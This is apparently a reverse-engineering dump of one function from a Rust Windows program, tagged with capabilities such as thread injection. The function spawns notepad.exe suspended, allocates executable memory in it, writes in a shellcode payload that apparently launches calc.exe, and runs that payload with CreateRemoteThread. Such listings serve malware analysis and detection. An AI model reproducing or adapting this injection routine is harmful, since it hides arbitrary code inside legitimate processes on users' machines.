Function at 0x140001600
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x238
movaps xmm0, xmmword [section..rdata]
movaps xmmword [rsp + 0x120], xmm0
movaps xmm0, xmmword [0x140099010]
movaps xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [0x140099020]
movaps xmmword [rsp + 0x140], xmm0
movaps xmm0, xmmword [0x140099030]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [str.RAQH]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140099050]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140099060]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [0x140099070]
movaps xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [0x140099080]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x140099090]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [0x1400990a0]
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmm0, xmmword [0x1400990b0]
movaps xmmword [rsp + 0x1d0], xmm0
movabs rax, 0xff57e9128b485a59
mov qword [rsp + 0x1e0], rax
mov dword [rsp + 0x1e8], 0x485dffff
mov word [rsp + 0x1ec], 0x1ba
mov dword [rsp + 0x1ee], 0
mov dword [rsp + 0x1f1], 0
movaps xmm0, xmmword [0x1400990c0]
movups xmmword [rsp + 0x1f5], xmm0
movaps xmm0, xmmword [0x1400990d0]
movups xmmword [rsp + 0x205], xmm0
movaps xmm0, xmmword [0x1400990e0]
movups xmmword [rsp + 0x215], xmm0
movabs rax, 0x6163d5ffda894159
mov qword [rsp + 0x225], rax
mov dword [rsp + 0x22d], 0x652e636c
mov word [rsp + 0x231], 0x6578
mov byte [rsp + 0x233], 0
lea rdx, [0x1400991e3]
lea rcx, [rsp + 0x60]
mov r8d, 0x1f
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::hb8d24153a434d2ca
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x60], rax
jne 0x140001908
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
xorps xmm0, xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x110], 0
mov dword [rsp + 0xb0], 0x68
movaps xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov r8d, dword [rsp + 0xa0]
mov ecx, 0x1f0fff
xor edx, edx
call sub.KERNEL32.dll_OpenProcess
mov rbx, rax
mov dword [rsp + 0x20], 0x40
mov r8d, 0x114
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call sub.KERNEL32.dll_VirtualAllocEx
mov r14, rax
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x120]
mov r9d, 0x114
mov rcx, rbx
mov rdx, rax
call sub.KERNEL32.dll_WriteProcessMemory
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rbx
xor edx, edx
xor r8d, r8d
mov r9, r14
call sub.KERNEL32.dll_CreateRemoteThread
lea rax, str.___Shellcode_loaded__n
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rcx, [rsp + 0x60]
call sym.std::io::stdio::_print::ha3e14f2482097176
mov byte [rdi], 0
test rsi, rsi
je 0x1400018fa
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
nop
add rsp, 0x238
pop rbx
pop rdi
pop rsi
pop r14
ret
movups xmm0, xmmword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rax, str.src_main.rsC:WindowsSystem32_notepad.exe
mov qword [rsp + 0x20], rax
lea rcx, [0x140099140]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::hb05b4bb5067e0bd9
lea r8, [rsp + 0xb0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
ud2